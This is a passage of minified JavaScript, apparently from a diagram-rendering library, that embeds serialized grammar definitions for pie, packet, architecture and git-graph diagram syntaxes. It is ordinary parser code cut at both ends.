]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"FLOAT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/0|[1-9][0-9]*(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@8"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@9"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STRING","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\"([^\\"\\\\\\\\]|\\\\\\\\.)*\\"|'([^'\\\\\\\\]|\\\\\\\\.)*'/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/[\\\\w]([-\\\\w]*\\\\w)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NEWLINE","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WHITESPACE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"YAML","definition":{"$type":"RegexToken","regex":"/---[\\\\t ]*\\\\r?\\\\n(?:[\\\\S\\\\s]*?\\\\r?\\\\n)?---(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"DIRECTIVE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%{[\\\\S\\\\s]*?}%%(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"SINGLE_LINE_COMMENT","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%[^\\\\n\\\\r]*/"},"fragment":false}],"definesHiddenTokens":false,"hiddenTokens":[],"interfaces":[],"types":[],"usedGrammars":[]}`)),"PacketGrammar"),Tje=Tt(()=>Ume??(Ume=Zc(`{"$type":"Grammar","isDeclared":true,"name":"Pie","imports":[],"rules":[{"$type":"ParserRule","entry":true,"name":"Pie","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@16"},"arguments":[],"cardinality":"*"},{"$type":"Keyword","value":"pie"},{"$type":"Assignment","feature":"showData","operator":"?=","terminal":{"$type":"Keyword","value":"showData"},"cardinality":"?"},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]},{"$type":"Assignment","feature":"sections","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@16"},"arguments":[]}],"cardinality":"*"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"PieSection","definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"label","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@14"},"arguments":[]}},{"$type":"Keyword","value":":"},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@4"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"FLOAT_PIE","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/-?[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT_PIE","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/-?(0|[1-9][0-9]*)(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER_PIE","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@2"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@3"}}]},"fragment":false,"hidden":false},{"$type":"ParserRule","fragment":true,"name":"EOL","dataType":"string","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@16"},"arguments":[],"cardinality":"+"},{"$type":"EndOfFile"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@10"},"arguments":[]}}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"FLOAT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/0|[1-9][0-9]*(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@11"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@12"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STRING","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\"([^\\"\\\\\\\\]|\\\\\\\\.)*\\"|'([^'\\\\\\\\]|\\\\\\\\.)*'/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/[\\\\w]([-\\\\w]*\\\\w)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NEWLINE","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WHITESPACE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"YAML","definition":{"$type":"RegexToken","regex":"/---[\\\\t ]*\\\\r?\\\\n(?:[\\\\S\\\\s]*?\\\\r?\\\\n)?---(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"DIRECTIVE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%{[\\\\S\\\\s]*?}%%(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"SINGLE_LINE_COMMENT","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%[^\\\\n\\\\r]*/"},"fragment":false}],"definesHiddenTokens":false,"hiddenTokens":[],"interfaces":[],"types":[],"usedGrammars":[]}`)),"PieGrammar"),wje=Tt(()=>Hme??(Hme=Zc(`{"$type":"Grammar","isDeclared":true,"name":"Architecture","imports":[],"rules":[{"$type":"ParserRule","entry":true,"name":"Architecture","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@23"},"arguments":[],"cardinality":"*"},{"$type":"Keyword","value":"architecture-beta"},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@23"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@13"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[]}],"cardinality":"*"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"Statement","definition":{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"groups","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}},{"$type":"Assignment","feature":"services","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]}},{"$type":"Assignment","feature":"junctions","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@7"},"arguments":[]}},{"$type":"Assignment","feature":"edges","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"LeftPort","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":":"},{"$type":"Assignment","feature":"lhsDir","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"RightPort","definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"rhsDir","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}},{"$type":"Keyword","value":":"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"Arrow","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]},{"$type":"Assignment","feature":"lhsInto","operator":"?=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@11"},"arguments":[]},"cardinality":"?"},{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"--"},{"$type":"Group","elements":[{"$type":"Keyword","value":"-"},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@29"},"arguments":[]}},{"$type":"Keyword","value":"-"}]}]},{"$type":"Assignment","feature":"rhsInto","operator":"?=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@11"},"arguments":[]},"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@3"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Group","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"group"},{"$type":"Assignment","feature":"id","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}},{"$type":"Assignment","feature":"icon","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@28"},"arguments":[]},"cardinality":"?"},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@29"},"arguments":[]},"cardinality":"?"},{"$type":"Group","elements":[{"$type":"Keyword","value":"in"},{"$type":"Assignment","feature":"in","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}}],"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Service","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"service"},{"$type":"Assignment","feature":"id","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}},{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"iconText","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@21"},"arguments":[]}},{"$type":"Assignment","feature":"icon","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@28"},"arguments":[]}}],"cardinality":"?"},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@29"},"arguments":[]},"cardinality":"?"},{"$type":"Group","elements":[{"$type":"Keyword","value":"in"},{"$type":"Assignment","feature":"in","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}}],"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Junction","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"junction"},{"$type":"Assignment","feature":"id","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":"in"},{"$type":"Assignment","feature":"in","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}}],"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Edge","definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"lhsId","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}},{"$type":"Assignment","feature":"lhsGroup","operator":"?=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@10"},"arguments":[]},"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@4"},"arguments":[]},{"$type":"Assignment","feature":"rhsId","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}},{"$type":"Assignment","feature":"rhsGroup","operator":"?=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@10"},"arguments":[]},"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"ARROW_DIRECTION","definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"L"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"R"}}]},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"T"}}]},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"B"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ARROW_GROUP","definition":{"$type":"RegexToken","regex":"/\\\\{group\\\\}/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ARROW_INTO","definition":{"$type":"RegexToken","regex":"/<|>/"},"fragment":false,"hidden":false},{"$type":"ParserRule","fragment":true,"name":"EOL","dataType":"string","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@23"},"arguments":[],"cardinality":"+"},{"$type":"EndOfFile"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@15"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@16"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"FLOAT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/0|[1-9][0-9]*(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@18"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@19"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STRING","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\"([^\\"\\\\\\\\]|\\\\\\\\.)*\\"|'([^'\\\\\\\\]|\\\\\\\\.)*'/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/[\\\\w]([-\\\\w]*\\\\w)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NEWLINE","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WHITESPACE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"YAML","definition":{"$type":"RegexToken","regex":"/---[\\\\t ]*\\\\r?\\\\n(?:[\\\\S\\\\s]*?\\\\r?\\\\n)?---(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"DIRECTIVE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%{[\\\\S\\\\s]*?}%%(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"SINGLE_LINE_COMMENT","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%[^\\\\n\\\\r]*/"},"fragment":false},{"$type":"TerminalRule","name":"ARCH_ICON","definition":{"$type":"RegexToken","regex":"/\\\\([\\\\w-:]+\\\\)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ARCH_TITLE","definition":{"$type":"RegexToken","regex":"/\\\\[[\\\\w ]+\\\\]/"},"fragment":false,"hidden":false}],"definesHiddenTokens":false,"hiddenTokens":[],"interfaces":[],"types":[],"usedGrammars":[]}`)),"ArchitectureGrammar"),kje=Tt(()=>qme??(qme=Zc(`{"$type":"Grammar","isDeclared":true,"name":"GitGraph","imports":[],"rules":[{"$type":"ParserRule","entry":true,"name":"GitGraph","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[],"cardinality":"*"},{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"gitGraph"},{"$type":"Group","elements":[{"$type":"Keyword","value":"gitGraph"},{"$type":"Keyword","value":":"}]},{"$type":"Keyword","value":"gitGraph:"},{"$type":"Group","elements":[{"$type":"Keyword","value":"gitGraph"},{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]},{"$type":"Keyword","value":":"}]}]},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]},{"$type":"Assignment","feature":"statements","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[]}}],"cardinality":"*"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Statement","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@3"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@4"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@7"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Direction","definition":{"$type":"Assignment","feature":"dir","operator":"=","terminal":{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"LR"},{"$type":"Keyword","value":"TB"},{"$type":"Keyword","value":"BT"}]}},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Commit","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"commit"},{"$type":"Alternatives","elements":[{"$type":"Group","elements":[{"$type":"Keyword","value":"id:"},{"$type":"Assignment","feature":"id","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"msg:","cardinality":"?"},{"$type":"Assignment","feature":"message","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"tag:"},{"$type":"Assignment","feature":"tags","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"type:"},{"$type":"Assignment","feature":"type","operator":"=","terminal":{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"NORMAL"},{"$type":"Keyword","value":"REVERSE"},{"$type":"Keyword","value":"HIGHLIGHT"}]}}]}],"cardinality":"*"},{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Branch","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"branch"},{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@24"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}]}},{"$type":"Group","elements":[{"$type":"Keyword","value":"order:"},{"$type":"Assignment","feature":"order","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@15"},"arguments":[]}}],"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Merge","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"merge"},{"$type":"Assignment","feature":"branch","operator":"=","terminal":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@24"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}]}},{"$type":"Alternatives","elements":[{"$type":"Group","elements":[{"$type":"Keyword","value":"id:"},{"$type":"Assignment","feature":"id","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"tag:"},{"$type":"Assignment","feature":"tags","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"type:"},{"$type":"Assignment","feature":"type","operator":"=","terminal":{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"NORMAL"},{"$type":"Keyword","value":"REVERSE"},{"$type":"Keyword","value":"HIGHLIGHT"}]}}]}],"cardinality":"*"},{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Checkout","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"checkout"},{"$type":"Keyword","value":"switch"}]},{"$type":"Assignment","feature":"branch","operator":"=","terminal":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@24"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"CherryPicking","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"cherry-pick"},{"$type":"Alternatives","elements":[{"$type":"Group","elements":[{"$type":"Keyword","value":"id:"},{"$type":"Assignment","feature":"id","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"tag:"},{"$type":"Assignment","feature":"tags","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"parent:"},{"$type":"Assignment","feature":"parent","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]}],"cardinality":"*"},{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"EOL","dataType":"string","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[],"cardinality":"+"},{"$type":"EndOfFile"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@11"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@13"},"arguments":[]}}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hi